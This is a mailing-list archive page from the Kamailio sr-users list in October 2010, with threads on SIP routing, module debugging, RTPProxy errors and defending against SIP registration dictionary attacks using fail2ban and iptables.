<AANLkTik8pWtu9uT1=mPb_zSnztej5kHzPrEVPubgzeY7(a)mail.gmail.com> > Content-Type: text/plain; charset="iso-8859-1" > > Hello > > sorry if this sounds too "newbie". I'm interested in the drouting module. > The first INVITE is correctly forwarded to the gw foudn in the drouting > table: > if (is_method("INVITE") && !has_totag()) { > do_routing("0"); > record_route(); > } > However for subsequent messages (ACK, BYE) in the dialog I don't know how > to > keep track of the ip resolved by the drouting logic so the messages are > correctly forwarded to the same gw. I've made some tests using the dialog > module with no success. Any hint? > > Thanks in advance > > Javier >

1 0

ERROR
by michel freiha 26 Oct '10

26 Oct '10

Guys I'm getting the below error...Can anybody help please? Oct 22 12:27:17 localhost /usr/local/sbin/kamailio[28566]: ERROR: <script>: time_dbg:method=INVITE;time=1287750437;callid=Y2FjNDAyZDY4YTk5ZWQ1Yjc4MDk4ZGZiZjk5YjIyYmE. - in NAT out route Regards

2 1

Outbound load balancing
by Lee Archer 26 Oct '10

26 Oct '10

Hi, does Kamailio support any sort of outbound load balancing where you can set the resources available at a gateway and the system keeps a list of what's in use? Opensips has something similar but does kamailio? Thanks Lee

4 4

Re: [SR-Users] Redirecting 302 problem
by Iñaki Baz Castillo 25 Oct '10

25 Oct '10

(I forward and reply this mail to the maillist). 2010/10/26 Mino Haluz <mino.haluz(a)gmail.com>: > Maybe I have not explained it very clearly, but the issue was hidden > in using fix_nated_contact(). I commented it out and everything works > perfect :) Ok, that's a different problem. If you call fix_nated_contact() for a 302 then obviously Kamailio will rewrite the URI host part of the Contact header with the response public source address. -- Iñaki Baz Castillo <ibc(a)aliax.net>

1 0

Redirecting 302 problem
by Mino Haluz 25 Oct '10

25 Oct '10

Hi, my kamailio receives 302 from ip 1.1.1.1 with a correct Contact-header format 123@kamailiohost , but when it forwards to my cisco as, it suddenly changes the host part to 1.1.1.1 .. It is very strange because, this IP does not have anything common with the callee number. Do you know where could be a problem? Mino

3 2

bflag under failure_route (kamailio 1.5)
by Iñaki Baz Castillo 25 Oct '10

25 Oct '10

Hi, I know that handling bflags outside of branch_route is not a good idea. Anyhow I have a doubt: 1) In a normal route I set "setbflag(i:1)", so the bflag will be set for all the branches that could be generated for this incoming transaction. This also involves creating new branches manually under failure_route, am I right? Note: I do know that it would be much better just to use flag instead of bflags. 2) The outgoing transaction(s) fail so I enter into failure_route. If I inspect here bflag(i:1) will it be set or not? I remember that it will be set. 3) Then I call append_branch in failure_route, or perhaps call loockup("location") and I expect that all the generated branches will have the bflag set, am I right? Thanks a lot. -- Iñaki Baz Castillo <ibc(a)aliax.net>

2 8

Drouting usage
by Javier Gallart 25 Oct '10

25 Oct '10

Hello sorry if this sounds too "newbie". I'm interested in the drouting module. The first INVITE is correctly forwarded to the gw foudn in the drouting table: if (is_method("INVITE") && !has_totag()) { do_routing("0"); record_route(); } However for subsequent messages (ACK, BYE) in the dialog I don't know how to keep track of the ip resolved by the drouting logic so the messages are correctly forwarded to the same gw. I've made some tests using the dialog module with no success. Any hint? Thanks in advance Javier

2 1

Re: [SR-Users] Debug xmpp module with kamailio 3.0.4
by Huy Nguyen 25 Oct '10

25 Oct '10

Hi Robert and list, @Robert: thank you so much. After change some things as the guide of Robert, i can see more LM_DBG from other modules as: tm, core (msg_parser.c, t_lookup.c...... )...but what i need is the log from xmpp module (e.g xmpp.c, xmpp_component.c......). As the guide on xmpp page, i just can debug with xmpp_send_message command, and i can't check whether kamailio was registered successful as the component of local jabberd server. How can check this ? Thanks, Huy Nguyen www.htk-inc.com Date: Mon, 25 Oct 2010 13:25:14 +0200 From: robert(a)exa-omicron.nl To: huy_quocnguyen(a)live.com CC: sr-users(a)lists.sip-router.org Subject: Re: [SR-Users] Debug xmpp module with kamailio 3.0.4 On 10/25/2010 12:31 PM, Huy Nguyen wrote: log_facility=LOG_LOCAL0 How can I check all LM_DBG logs in some files as xmpp.c, xmpp_component.c .... to view the registration processing of kamailio to local jabberd s erver ? Huy, In the default syslog.conf of centos you have a line: *.info;mail.none;authpriv.none;cron.none /var/log/messages Which only sends log level info and lower to /var/log/messages. If you add a line: local0.* -/var/log/kamailio.log You will find all any debugging output of kamailio in /var/log/kamailio.log Don't forget to restart syslog Regards, Robert Verspuy -- Exa-Omicron Patroonsweg 10 3892 DB Zeewolde Tel.: 088-OMICRON (66 427 66) http://www.exa-omicron.nl

1 0

Debug xmpp module with kamailio 3.0.4
by Huy Nguyen 25 Oct '10

25 Oct '10

Hi all, About xmpp module on kamailio 3.0.4 (Centos server). I enabled DEBUG mode with level 7, but when check on /var/log/message I don't see any log from xmpp module (LM_DBG): #!ifdef WITH_DEBUG debug=7 log_stderror=no #!else debug=2 log_stderror=no #!endif memdbg=5 memlog=5 log_facility=LOG_LOCAL0 fork=yes children=4 If I change LM_DBG to LM_ERR, I just see 3 line as below: Oct 25 17:03:48 civilpol /usr/local/sbin/kamailio[31029]: ERROR: xmpp [xmpp.c:345]: cmd_send_message Oct 25 17:03:48 civilpol /usr/local/sbin/kamailio[31029]: ERROR: xmpp [xmpp.c:379]: message from <sip:101@sip.htk.com> Oct 25 17:03:48 civilpol /usr/local/sbin/kamailio[31029]: ERROR: xmpp [xmpp.c:388]: using R-URI as destination How can I check all LM_DBG logs in some files as xmpp.c, xmpp_component.c .... to view the registration processing of kamailio to local jabberd server ? Thanks, Huy Nguyen www.htk-inc.com

2 1

Re: [SR-Users] dictionary attacks
by Daniel-Constantin Mierla 24 Oct '10

24 Oct '10

probably omitted by mistake, but please keep the mailing list cc-ed. On 10/24/10 3:38 PM, Sergey Okhapkin wrote: > Note that I check return code of www_authorize to be -1 (invalid user) and > block IP in this case only. Other error codes should not block the IP address. This one remembered me that in 3.1 we merged the auth modules and we used the one coming from ser because it has better nonce protection and other enhancements than kamailio version. That means the return codes have changed, the new ones are listed now at: http://kamailio.org/docs/modules/stable/modules_k/auth_db.html#id2753068 Added also note in migration wiki page: http://www.kamailio.org/dokuwiki/doku.php/install:3.0.x-to-3.1.0#modules_k_… Cheers, Daniel > On Sunday 24 October 2010, you wrote: >> I watched live an attack on voipuser.org while running 3.1 before >> release. It lasted 18 hours. I didn't want to ban it because was useful >> for testing and see if it reveals any weak. In most of the cases it hit >> pike module. I got some data and plan to make an article about it soon. >> >> Anyhow, as a result of that, default config for kamailio has a section >> for detecting and banning such "bad" IPs, using pike to detect floods >> and htable to keep it blocked. Search WITH_ANTIFLOOD directive. It can >> be enhanced like you pointed here, so if the authorize fails, add the IP >> in the banned list stored in htable. >> >> Using fail2ban together with IP tables has the advantage of dropping the >> packets before getting to application and eating cpu, although in the >> case of voipuser.org the cpu was not affected much - the rate was >> 170-200 requests per second. >> >> Cheers, >> Daniel >> >> On 10/24/10 3:06 PM, Sergey Okhapkin wrote: >>> I'm second for fail2ban. I block IP addresses with failed registration >>> attempts for 1 hour. Here is my setup: >>> >>> kamailio.cfg: >>> >>> if (is_method("REGISTER")) { >>> if(www_authorize("", "subscriber")< 0) { >>> if($rc == -1) { >>> xlog("L_INFO","Invalid username from >>> $proto:$si:$sp\n"); sl_send_reply("200","OK"); >>> } else >>> www_challenge("", "0"); >>> exit; >>> } >>> .... >>> >>> /etc/fail2ban/filter.d/openser.conf: >>> >>> [Definition] >>> #_daemon = kamailio >>> failregex = Invalid username from ...:<HOST>: >>> >>> /etc/fail2ban/jail.conf: >>> >>> findtime = 600 >>> >>> [openser-iptables] >>> enabled = true >>> filter = openser >>> action = iptables-allports[name=OPENSER, protocol=all] >>> logpath = /var/log/openser/openser # Replace with your sr log location >>> maxretry = 10 >>> bantime = 3600 >>> >>> On Sunday 24 October 2010, Uriel Rozenbaum wrote: >>>> Juha, >>>> >>>> I think we should be specially careful about black-lists. We receive >>>> many of these attacks in a per-day basis and a lot of them are from >>>> residential addresses or university, so I'm guessing some kind of worm >>>> or trojan performing the attack from various IPs. >>>> >>>> If you have the time, try fail2ban deamon. It can relate some >>>> brute-force events and act accordingly blocking an IP on iptables, >>>> executing a script. You send to "jail" those addresses for a period of >>>> time, then you can get them out again; and of course you can manually >>>> revert. >>>> >>>> Last, as a description of the attacks I saw, first it runs an NMAP >>>> like scan checking which IPs answer from 5060, then it starts sending >>>> registers (usually asterisk answers 404 if the user does not exist), >>>> then when the proxy challenges, it interprets the user is found and >>>> starts making dictionary attacks on the password (1234, admin, and so >>>> on). Keep safe complicated passwords, make kamailio challenge >>>> everything and you'll be safe. and again, fail2ban is a pretty good >>>> solution for brute force. >>>> >>>> This might help you finding a solution for your attacks. >>>> >>>> Cheers, >>>> Uriel >>>> >>>> On Sun, Oct 24, 2010 at 8:54 AM, Juha Heinanen<jh(a)tutpro.com> wrote: >>>>> while doing some tests, i noticed that one of my proxies started to >>>>> receive lots of register requests with different user names starting >>>>> from a letter. there was also invite attempts in the logs. they came >>>>> from ip 202.82.16.99 which according to traceroute is somewhere in >>>>> china. >>>>> >>>>> should we start publishing a black list of these attack ip addresses? >>>>> >>>>> -- juha >>>>> >>>>> _______________________________________________ >>>>> SIP Express Router (SER) and Kamailio (OpenSER) - sr-users mailing list >>>>> sr-users(a)lists.sip-router.org >>>>> http://lists.sip-router.org/cgi-bin/mailman/listinfo/sr-users >>>> _______________________________________________ >>>> SIP Express Router (SER) and Kamailio (OpenSER) - sr-users mailing list >>>> sr-users(a)lists.sip-router.org >>>> http://lists.sip-router.org/cgi-bin/mailman/listinfo/sr-users >>> _______________________________________________ >>> SIP Express Router (SER) and Kamailio (OpenSER) - sr-users mailing list >>> sr-users(a)lists.sip-router.org >>> http://lists.sip-router.org/cgi-bin/mailman/listinfo/sr-users -- Daniel-Constantin Mierla http://www.asipto.com

3 7

dictionary attacks
by Juha Heinanen 24 Oct '10

24 Oct '10

while doing some tests, i noticed that one of my proxies started to receive lots of register requests with different user names starting from a letter. there was also invite attempts in the logs. they came from ip 202.82.16.99 which according to traceroute is somewhere in china. should we start publishing a black list of these attack ip addresses? -- juha

6 10

Reverse Filterlists idea
by "Nicolas Rüger" 23 Oct '10

23 Oct '10

Hello, Marius Zbihlei has patched the userblacklist module, so that it can handle characters as well (NOT in main release 3.1 yet). Thanks Marius. Therefore it might now be possible to filter general SIP-URIs!?? My idea is simple and described here. Please give some Feedback!!! As the "prefix"-functionality up to now was referring to SIP-URIs consisting of digits (=real telephon numbers) like 004930123456(a)1and1.de the general URI might be something like user_123(a)server.domain.de So far the "prefix"-functionality works because usernames that are real telephone numbers, that always start with country-code, followed by town- or regional-code and end with a unique number of the user (in this example 0049=Germany, (0)30=Berlin, 123456=user's unique number). To use "prefix"-functionality with general (including non-digits) URIs it must be evaluated reverse (from back to front) as the domain ends with the country- or top-level-domain and becomes more detailed the reverse way. So the IDEA is: Insert the domain as prefix in userblacklist-table in reverse, to use the functionality. I would use a perl-script to reverse the SIP-URI of the calling party in routing logic and then check it against the already reverted domain in the userblacklist-table. Do you think this is a good/well-working idea??? Any concerns or suggestions are appreciated... Regards, Nicolas -- GMX DSL Doppel-Flat ab 19,99 €/mtl.! Jetzt auch mit gratis Notebook-Flat! http://portal.gmx.net/de/go/dsl

4 8

Re: [SR-Users] Kamailio unable to forward Register request to asterisk
by Ovidiu Sas 22 Oct '10

22 Oct '10

You need to have no 'secret' field in the asterisk sipusers view. Please keep the list in cc. Private e-mail will go unanswered. Regards, Ovidiu Sas On Fri, Oct 22, 2010 at 1:53 PM, Sundeep Kumar Mishra <sundeep123kumariiit(a)gmail.com> wrote: > Hi, > Thanks for you quick reply. > We understand where we had been wrong. Since it was not quite clear in > the tutorial could u tell us how to disable authentication in asterisk? > Regards, > Sundeep Kumar Mishra > > > On Fri, Oct 22, 2010 at 7:29 PM, Ovidiu Sas <osas(a)voipembedded.com> wrote: >> >> If you use that particular config, you need to disable authentication >> on the asterisk side. >> Just read careful the tutorial. >> >> Regards, >> Ovidiu Sas >> >> On Fri, Oct 22, 2010 at 9:15 AM, Sundeep Kumar Mishra >> <sundeep123kumariiit(a)gmail.com> wrote: >> > Hi all, >> > I have installed an asterisk server at 10.3.3.143:5080 and a >> > kamailio at 10.3.3.85:5060. I am using sip communicator as softphone SIP >> > Client. It is able to register at kamailio but the kamailio is not able >> > to >> > forward register request to asterisk. >> > >> > We have gone through the tutorial >> > >> > http://kb.asipto.com/asterisk:realtime:kamailio-3.0.x-asterisk-1.6.2-astdb >> > and used the configuration file after changing the asterisk ip and >> > kamailio >> > ip. >> > >> > We found out that when a normal softphone authenticates directly to >> > asterisk >> > it sends and recieve >> > >> > |--softphone -- REGISTER >> > |--asterisk -- 401 Unauthorised . CHallenge >> > |--softphone -- REGISTER - Response to Challenge >> > |--asterisk -- 200 OK (If response was correct) >> > >> > But I saw that when kamailio forwards register to asterisk, it sends >> > first >> > REGISTER packet but doesn't second the second one. It sends SUBSCRIBE >> > instead of REGISTER with response to the challenge. >> > >> > >> > Regards, >> > Sundeep Kumar Mishra >> > >> > _______________________________________________ >> > SIP Express Router (SER) and Kamailio (OpenSER) - sr-users mailing list >> > sr-users(a)lists.sip-router.org >> > http://lists.sip-router.org/cgi-bin/mailman/listinfo/sr-users >> > >> > > >

2 1

Kamailio unable to forward Register request to asterisk
by Sundeep Kumar Mishra 22 Oct '10

22 Oct '10

Hi all, I have installed an asterisk server at 10.3.3.143:5080 and a kamailio at 10.3.3.85:5060. I am using sip communicator as softphone SIP Client. It is able to register at kamailio but the kamailio is not able to forward register request to asterisk. We have gone through the tutorial http://kb.asipto.com/asterisk:realtime:kamailio-3.0.x-asterisk-1.6.2-astdba… used the configuration file after changing the asterisk ip and kamailio ip. We found out that when a normal softphone authenticates directly to asterisk it sends and recieve |--softphone -- REGISTER |--asterisk -- 401 Unauthorised . CHallenge |--softphone -- REGISTER - Response to Challenge |--asterisk -- 200 OK (If response was correct) But I saw that when kamailio forwards register to asterisk, it sends first REGISTER packet but doesn't second the second one. It sends SUBSCRIBE instead of REGISTER with response to the challenge. Regards, Sundeep Kumar Mishra

3 2

Error in syslog: BUG tm [t_msgbuilder.c:351]: unhandled reason cause -18344
by Mikko Lehto 22 Oct '10

22 Oct '10

Hi I am testing certain UAC behavior on proxy initiated 408 response with SIP Router. Call canceling is working fine - UAC gets 408 and GW gets CANCEL. However this error message is seen in syslog after fr_inv_timeout fires: BUG: tm [t_msgbuilder.c:351]: unhandled reason cause -18344 In script I set t_set_fr before t_relay, otherwise it is default: route[RELAY] { if (is_method("INVITE")) { t_on_reply("REPLY_ONE"); t_on_failure("FAIL_TEST"); } t_set_fr(4000); if (!t_relay()) { sl_reply_error(); } exit; } SIP Router is self compiled from Git: sip-router 3.1.0 (i386/linux) 34d2f6 Here are TM parameters: #modparam("tm", "local_cancel_reason", "0") modparam("tm", "noisy_ctimer", 1) modparam("tm", "auto_inv_100_reason", "tryink") modparam("tm", "failure_reply_mode", 3) modparam("tm", "fr_timer", 30000) modparam("tm", "fr_inv_timer", 120000) The above error message is found in t_msgbuilder.c on #ifdef CANCEL_REASON_SUPPORT -block. Looks like I do not have compiled in support for that new feature as I get error when uncommenting local_cancel_reason tm parameter: ERROR: <core> [modparam.c:150]: set_mod_param_regex: parameter <local_cancel_reason> not found in module <tm> Is this bug as log message suggests? -- Mikko Lehto Setera

2 4

Siremis user guide
by Shrouk Khan 22 Oct '10

22 Oct '10

hi has anyone ever found any user guide for siremis ? it seems to take information directly from database and showing it . there is no tool tip or any clue as to what is what -- Regards Shrouk Khan (Khan) System Administrator / Telecommunication System Developer Office: +354 4400807 (Reykjavik) +44 2031370800 (London) Mobile: +66 875049439 (Bangkok) Web: www.softverk.is Reykjavik, Iceland // London, UK // Bangkok, Thailand

3 4

[OT] Fwd: [dispatch] proposed SIXPAC charter
by Victor Pascual Avila 22 Oct '10

22 Oct '10

---------- Forwarded message ---------- From: Elwell, John <john.elwell(a)siemens-enterprise.com> Date: Wed, Oct 20, 2010 at 9:45 AM Subject: Re: [dispatch] proposed SIXPAC charter To: Peter Saint-Andre <stpeter(a)stpeter.im>, "dispatch(a)ietf.org" <dispatch(a)ietf.org> I find this a worthwhile topic to pursue. I had been wondering whether this activity would turn out to be more of a profiling exercise, and whether the IETF might not be the best choice of venue for such work. >From the current draft charter it looks like there will be at least some protocol extension work, for which I believe the IETF is the correct venue. On the other hand, the Unified Communications Interoperability Forum (UCIF) is seeking to advance the state of play on XMPP interoperability, and if we were just talking about a profile or BCP, that might have been a better venue. Perhaps the IETF should focus on requirements and protocol extensions, and consider whether the BCP work would be better done elsewhere. Or at least, there should be some coordination with other activities relating to XMPP interoperability. John > -----Original Message----- > From: dispatch-bounces(a)ietf.org > [mailto:dispatch-bounces@ietf.org] On Behalf Of Peter Saint-Andre > Sent: 19 October 2010 21:17 > To: dispatch(a)ietf.org > Subject: [dispatch] proposed SIXPAC charter > > Earlier this year, some folks in the RAI area proposed an > initiative to > define a few small extensions to both SIP and XMPP that would make it > easier to develop and deploy dual-stack SIP+XMPP endpoints. Based on > feedback provided on the DISPATCH list and received from the RAI ADs, > I've taken the liberty of rewriting the proposed charter, in the hopes > that fresh text will spur a more conclusive discussion. I'm > mostly just > trying to help the proponents put their best foot forward, so if folks > here have more feedback I'd expect that people like Simo Veikkolainen > and Emil Ivov will be able to engage in further discussion. > > /psa > > ### > > SIXPAC (SIP Integration with XMPP in Presence Aware Clients) > ============================================================== > =========== > > Problem Statement > > Both the Session Initiation Protocol (SIP) and the Extensible > Messaging > and Presence Protocol (XMPP) are widely deployed technologies for > real-time communication over the Internet. In order to offer > a complete > suite of features as well as communication across multiple networks, > several user-oriented software applications support both SIP and XMPP, > and more software developers have expressed interest in building such > "dual-stack" solutions. Unfortunately, it is difficult to provide a > good end-user experience in such applications because SIP and XMPP are > not aware of each other. For example: > > - XMPP presence does not include availability states related to a SIP > voice call or video call (e.g., "on the phone"), thus preventing an > a dual-stack endpoint from showing presence-based > communication hints > > - There is no correlation between an XMPP IM session and a SIP voice > or video session, thus preventing a dual-stack endpoint > from providing > integrated user interfaces and communications history > > - SIP accounts and XMPP accounts are not directly correlated > in contact > lists or vCards (and not all deployed services support > storage of such > information), thus preventing a dual-stack endpoint from > knowing that > a contact has both SIP and XMPP capabilities > > Although some proprietary solutions exist to the foregoing > problems, it > would be preferable to define standardized solutions for the sake of > improved interoperability. > > Objectives > > Because both SIP and XMPP are easily extended through new SIP headers > and XMPP elements, it should be possible to provide tighter > integration > within dual-stack SIP/XMPP user agents to improve the user experience. > > Any such extensions should meet the following criteria: > > - Be completely optional and backwards-compatible for all endpoints > > - Work without changes to deployed infrastructure such as existing > SIP and XMPP servers, B2BUAs, firewalls, etc. > > The SIXPAC WG will define a small number of SIP and XMPP extensions to > solve the following use cases in dual-stack endpoints: > > - Including SIP-based availability states in XMPP presence (limited to > basic presence and availability states only, not the full range of > PIDF extensions) > > - Correlating an XMPP IM session with a SIP voice/video session, and > vice-versa > > - Advertising a SIP account address over XMPP and an XMPP account > address over SIP > > Additional use cases are out of scope, including anything > related to or > requiring server integration, multiparty communication, SIP-based IM > and presence, XMPP-based voice and video, file transfer, generalized > service discovery and capabilities exchange, full protocol translation > in communication gateways, shared credentials across both SIP and XMPP > accounts, rich presence extensions for features such as geolocation, > etc. Although such topics are important and interesting, they are out > of scope for this group. > > However, in addition to the protocol extensions explicitly mentioned > above, the group may also define best practices related to the > implementation and deployment of dual-stack SIP/XMPP endpoints, > including topics such as user agent configuration. > > Deliverables > > - Use cases and protocol requirements > > - XMPP presence extension for SIP-based availability states > > - Media session correlation extensions for SIP and XMPP > > - Contact address advertisement extensions for SIP and XMPP > > - Best practices for implementation and deployment of dual-stack > endpoints > > Milestones > > Feb 2011 Submit use cases and protocol requirements document to > IESG (Informational) > > Oct 2011 Submit XMPP presence extension document to IESG > (Standards Track) > > Oct 2011 Submit media session correlation extensions document to IESG > (Standards Track) > > Oct 2011 Submit contact address advertisement extension document to > IESG (Standards Track) > > Oct 2011 Submit best practices document to IESG (Informational) > > ### > > > _______________________________________________ dispatch mailing list dispatch(a)ietf.org https://www.ietf.org/mailman/listinfo/dispatch -- Victor Pascual Ávila

5 40

Re: [SR-Users] Kamailio 3.0 cann't access the RTPProxy
by Daniel-Constantin Mierla 22 Oct '10

22 Oct '10

Hello, apart of the email with logs, or private data that was required, please continue the discussion on public mailing list. I need some time to check the logs, the first inconvenience is the rar archive, a zip or tgz is much better -- not a fan of installing binaries from unknown companies on mac os x, going to get unrar from macports. Then solaris is not an OS i have at hand nor use frequently, so need to read about. It is also why using mailing list keeps you in touch with others that can help. Cheers, Daniel On 8/18/10 7:04 PM, KevinJin wrote: > Hi Daniel, > > Does the logs have any hint for what's cause of the issue? I didn't > include the user list in the previous email since logs have the actual > IP info. > > Thanks in advance! > > Best Regard > Kevin > > ------------------------------------------------------------------------ > From: kevin.jzh(a)hotmail.com > To: miconda(a)gmail.com > Subject: RE: [SR-Users] Kamailio 3.0 cann't access the RTPProxy > Date: Tue, 17 Aug 2010 18:51:02 +0800 > > > Hi Daniel, > > Attached are the two kamailio logs, > unix_socket_log --- run rtp proxy wth -s unix:/tmp/rtpproxy.sock > udp_rtpproxy_log --- run rtp proxy with -s udp:*:7722 > > Please help to check what's wrong with it. > > Thanks, > Kevin > ------------------------------------------------------------------------ > Date: Tue, 17 Aug 2010 11:29:46 +0200 > From: miconda(a)gmail.com > To: kevin.jzh(a)hotmail.com > CC: sr-users(a)lists.sip-router.org > Subject: Re: [SR-Users] Kamailio 3.0 cann't access the RTPProxy > > Hello, > > please send full log at startup, your snippets include just few lines > per process, being mixed from different processes. > > Cheers, > Daniel > > > On 8/14/10 3:54 AM, KevinJin wrote: > > Hello, > > ------------------------------------------------------------------------ > Date: Thu, 12 Aug 2010 22:16:18 +0200 > From: miconda(a)gmail.com <mailto:miconda@gmail.com> > To: kevin.jzh(a)hotmail.com <mailto:kevin.jzh@hotmail.com> > CC: sr-users(a)lists.sip-router.org > <mailto:sr-users@lists.sip-router.org> > Subject: Re: [SR-Users] Kamailio 3.0 cann't access the RTPProxy > > Hello, > > On 8/12/10 8:34 PM, KevinJin wrote: > > Hello, > > ------------------------------------------------------------------------ > Date: Thu, 12 Aug 2010 18:46:19 +0200 > From: miconda(a)gmail.com <mailto:miconda@gmail.com> > To: kevin.jzh(a)hotmail.com <mailto:kevin.jzh@hotmail.com> > CC: sr-users(a)lists.sip-router.org > <mailto:sr-users@lists.sip-router.org> > Subject: Re: [SR-Users] Kamailio 3.0 cann't access the RTPProxy > > Hello, > > On 8/12/10 4:47 PM, KevinJin wrote: > > Hi Daniel, > > What does the log below means? Does it mean nathelper has > issue to send the request to RTP proxy first or nathelper > doesn't receive a response after sending a request to the > rtp proxy? > 0(27429) ERROR: nathelper [nathelper.c:2457]: can't send > command to a RTP proxy > > this error is printed when write to socket fails. Do you have > any firewall running on the system? Is the user under which > kamailio runs allowed to write to sockets? > > > There's no firewall on the system, and I run the kamailio > as root, > root 26310 1 0 02:24:19 ? 0:00 > /usr/local/kamailio-3.0.2/sbin/kamailio -f > /usr/local/kamailio-3.0.2/etc/kamail > > You can edit module_k/nathelper/nathelper.c and replace > the line 2457 with: > > LM_ERR("can't send command to a RTP proxy (%s/%d)\n", > strerror(errno), errno); > > Recompile and reinstall. Hopefully will get more hints > about what happens. > > > Here is the error message after the change: > 2(26312) ERROR: nathelper [nathelper.c:2457]: can't send > command to a RTP proxy(Invalid argument/22) > 2(26312) ERROR: nathelper [nathelper.c:2492]: proxy > <udp:210.13.124.15:7722> does not respond, disable it > 2(26312) ERROR: nathelper [nathelper.c:3144]: no available proxies > what could be the cause? > > hmm, invalid argurment ... try with this line: > > LM_ERR("can't send command to a RTP proxy (%s/%d) [sock %d (%d), > vcnt %d]\n", > strerror(errno), errno, rtpp_socks[node->idx], node->idx, vcnt); > > maybe will give some hints about which value is invalid. > > Here's the log after the change: > 4(14415) ERROR: nathelper [nathelper.c:2457]: can't send command > to a RTP proxy (Invalid argument/22) [sock 7 (0), vcnt 18] > 4(14415) ERROR: nathelper [nathelper.c:2492]: proxy > <udp:210.13.x.y:7722> does not respond, disable it > 4(14415) ERROR: nathelper [nathelper.c:3144]: no available proxies > > > Can you try as well with an unix file socket: > > modparam("nathelper", "rtpproxy_sock", "unix:/tmp/rtpproxy.sock") > > then start rtpproxy with -s unix:/tmp/rtpproxy.sock > > > 4(17530) INFO: nathelper [nathelper.c:2369]: rtp proxy > <unix:/tmp/rtpproxy.sock> found, support for it re-enabled > 3(17529) ERROR: nathelper [nathelper.c:2429]: can't send command > to a RTP proxy > 3(17529) ERROR: nathelper [nathelper.c:2492]: proxy > <unix:/tmp/rtpproxy.sock> does not respond, disable it > 3(17529) ERROR: nathelper [nathelper.c:3144]: no available proxies > > Thanks, > Kevin > > I have no solaris (sparc) to try myself... > > Cheers, > Daniel > > > > Test env: > UA1 (Behind NAT) --------> Kamailio & RTPproxy (Public IP) > --------->UA2 (Public IP) > > Thanks, > Kevin > Cheers, > Daniel > > > > 0(27429) ERROR: nathelper [nathelper.c:2492]: proxy > <udp:210.13.124.15:7722> does not respond, disable it > > There's no problem for the resource(CPU, mem etc.) on the > server, the load is very low. > > Thanks in advance! > ---------- > 0(27429) DEBUG: nathelper [nhelpr_funcs.c:148]: type > <application/sdp> found valid > 0(27429) ERROR: nathelper [nathelper.c:3144]: no available > proxies > 0(27429) ERROR: nathelper [nathelper.c:2627]: no available > proxies > 0(27429) DEBUG: nathelper [nhelpr_funcs.c:148]: type > <application/sdp> found valid > 0(27429) INFO: nathelper [nathelper.c:2369]: rtp proxy > <udp:210.13.124.15:7722> found, support for it re-enabled > 0(27429) DEBUG: nathelper [nathelper.c:3196]: proxy reply: > 42040 210.13.124.14 > 0(27429) DEBUG: nathelper [nhelpr_funcs.c:148]: type > <application/sdp> found valid > 0(27429) ERROR: nathelper [nathelper.c:2457]: can't send > command to a RTP proxy > 0(27429) ERROR: nathelper [nathelper.c:2492]: proxy > <udp:210.13.124.15:7722> does not respond, disable it > 0(27429) ERROR: nathelper [nathelper.c:3144]: no available > proxies > 0(27429) ERROR: nathelper [nathelper.c:2627]: no available > proxies > > Thanks, > Kevin > ------------------------------------------------------------------------ > > > _______________________________________________ > SIP Express Router (SER) and Kamailio (OpenSER) - sr-users mailing list > sr-users(a)lists.sip-router.org <mailto:sr-users@lists.sip-router.org> > http://lists.sip-router.org/cgi-bin/mailman/listinfo/sr-users > > > -- > Daniel-Constantin Mierla > http://www.asipto.com/ > > > -- > Daniel-Constantin Mierla > http://www.asipto.com/ > > > -- > Daniel-Constantin Mierla > http://www.asipto.com/ -- Daniel-Constantin Mierla http://www.asipto.com/

2 5

Integrate xmpp module with kamailio 3.0.1
by Huy Nguyen 22 Oct '10

22 Oct '10

Hi all, Sorry for restore this topic, but i till confused about the guide on xmpp module page. I'm integrating xmpp module to kamailio 3.0.x at my local network, with server mode. The kamailio server have domain: kamailio1.com (192.168.1.26), the xmpp server have domain: xmpp1.com (192.168.1.20). SIP user: 101(a)kamailio1.com XMPP user: 109(a)xmpp1.com Below is the part mention in xmpp doc I confused about, so i'm pasting that: In the destination address we need an extra character as a domain separator, apart from @. The address of the XMPP(jabber) client looks like this: "sip:username<domain_separator>jabber_server@gateway_domain". The address of a SIP client has the following pattern : "sip_username<domain_separator>openser_domain@xmpp_domain"; A common used character in XMPP transports is "%". It mean, from sip client 101(a)kamailio1.com, if I want to chat with xmpp client 109(a)xmpp1.com, I'll add 109 to the contact list of 101 as: sip:109%xmpp1.com@kamailio1.com. It right ? As the similar, i'll add to the buddy list of 109 as: 101%kamailio1.com(a)xmpp1.com ? Can anyone suggest how to test xmpp module ? Thanks, Huy Nguyen www.htk-inc.com

2 6

Register a different URI than the received in the To header
by Iñaki Baz Castillo 21 Oct '10

21 Oct '10

Hi, not sure if this question has already taken place in this maillist: For some exotic reason sometimes the registrar receives a REGISTER with "To: sip:alice@domain.com" but I want to save it in the location table as "sip:bob@domain.com". AFAIK there is no way to do it, am I wrong? -- Iñaki Baz Castillo <ibc(a)aliax.net>

2 3

Needed in Dallas, Texas, Network Voice Engineer and Field Service Install Technician
by JR Richardson 21 Oct '10

21 Oct '10

We have a couple of positions open, please respond to the posting if qualified and interested. http://www.ntegrated.net/resources/job-opportunities/field-service-install-… http://www.ntegrated.net/resources/job-opportunities/network-engineering-vo… These are full time positions in Dallas, no telecommuters please. Thanks. JR -- JR Richardson Engineering for the Masses

1 0

Kamalio 3.1 based turn-key distribution released !
by X- x -X 21 Oct '10

21 Oct '10

Hey all, Just wanted to share this link. A distribution based on debian (lenny) & kamailio 3.1 pre-configured with presence server/RTP thing has been released. size: 245 MB. http://ciitix.ciit.net.pk/index.php/home/6-announcements-/14-ciitix-voip-10… Download link http://ciitix.ciit.net.pk/index.php/downloads Cheers --- X

2 1

siremis 1.0.1 with kamalio 3.1 ?
by X- x -X 21 Oct '10

21 Oct '10

Hi all, Not sure if this should be put to siremis list or dev list or whatever but bear with me if you could. Since siremis v 2.0 is not out. Is siremis 1.0.1 known to work fine with kamalio 3.1 ? (ref: siremis 1.0.1 install http://siremis.asipto.com/install/ ) Is it ready for production deployment etc.. ? Will greatly appreciate any response from anyone since Ramona seems to be on her sabbatical . Thanks. --

2 1

siremis 2.0 ?
by X- x -X 21 Oct '10

21 Oct '10

Hey all, Congratulation on 3.1 release ! Any news on when siremis v 2.0 is hitting the stores ? In the mean time what about alpha/beta version of it ? Its nowhere on the repos/sites (asipto etc..) Is version 1.0.1 know to work smoothly with kamailio 3.1 ? Cheers --

2 1

HTable 'size' parameter
by Iñaki Baz Castillo 21 Oct '10

21 Oct '10

